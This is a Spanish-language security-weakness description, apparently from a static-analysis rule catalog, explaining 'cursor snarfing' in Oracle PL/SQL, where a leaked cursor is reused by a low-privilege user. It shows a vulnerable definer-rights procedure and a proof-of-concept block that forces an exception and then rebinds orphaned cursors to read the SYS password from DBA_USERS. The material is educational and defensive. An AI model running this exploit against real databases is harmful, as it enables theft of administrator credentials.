Unreleased Resource: Cursor Snarfing

El cursor lo puede utilizar un usuario con pocos privilegios.

El cursor puede utilizarse para obtener acceso a información no autorizada.
Las pérdidas de recursos presentan dos causas habituales:

- Condiciones de error y otras circunstancias excepcionales.

- Confusión en cuanto a la parte del programa responsable de liberar el recurso.

En SQL, los cursores tienen los privilegios asociados con el código que los creó. Si un usuario con menos privilegios puede capturar el cursor perdido, se podrá utilizar para ver los registros no autorizados.

Además, la mayoría de los problemas de recursos no lanzados provocan problemas generales de confiabilidad del software, pero si un atacante puede desencadenar intencionadamente una pérdida de recursos, dicho atacante puede ser capaz de iniciar una denegación de servicio agotando el grupo de recursos.

Ejemplo 1: El código puede utilizar el procedimiento PWD_COMPARE que no tenga acceso a sys.dba_users para comprobar una contraseña de usuario.

CREATE or REPLACE procedure PWD_COMPARE(p_user VARCHAR, p_pwd VARCHAR)
  AUTHID DEFINED
IS
  cursor INTEGER;
  ...
BEGIN
  IF p_user != 'SYS' THEN
    cursor := DBMS_SQL.OPEN_CURSOR;
    DBMS_SQL.PARSE(cursor, 'SELECT password FROM SYS.DBA_USERS WHERE username = :u', DBMS_SQL.NATIVE);
    DBMS_SQL.BIND_VARIABLE(cursor, ':u', p_user);
    ...
  END IF;
END PWD_COMPARE;

Si el atacante puede causar una excepción, podrá capturar el cursor y obtener acceso a información no autorizada, como la contraseña sys. Una manera de causar una excepción consiste en pasar un argumento demasiado largo a p_user. Una vez que el usuario malintencionado sepa que el cursor se ha perdido, solo tiene que adivinarlo y asignar nuevas variables de enlace.

DECLARE
  x VARCHAR(32000);
  i INTEGER;
  j INTEGER;
  r INTEGER;
  password VARCHAR2(30);
BEGIN
  FOR i IN 1..10000 LOOP
    x:='b' || x;
  END LOOP;
  SYS.PWD_COMPARE(x,'password');
EXCEPTION WHEN OTHERs THEN
  FOR j IN 1..10000
    DBMS_SQL.BIND_VARIABLE(j, ':u', 'SYS');
    DBMS_SQL.DEFINE_COLUMN(j, 1, password, 30);
    r := DBMS_SQL.EXECUTE(j);
    IF DBMS_SQL.FETCH_ROWS(j) > 0 THEN
      DBMS_SQL.COLUMN_VALUE(j, 1, password);
      EXIT;
    END IF;
  END LOOP;
  ...
END;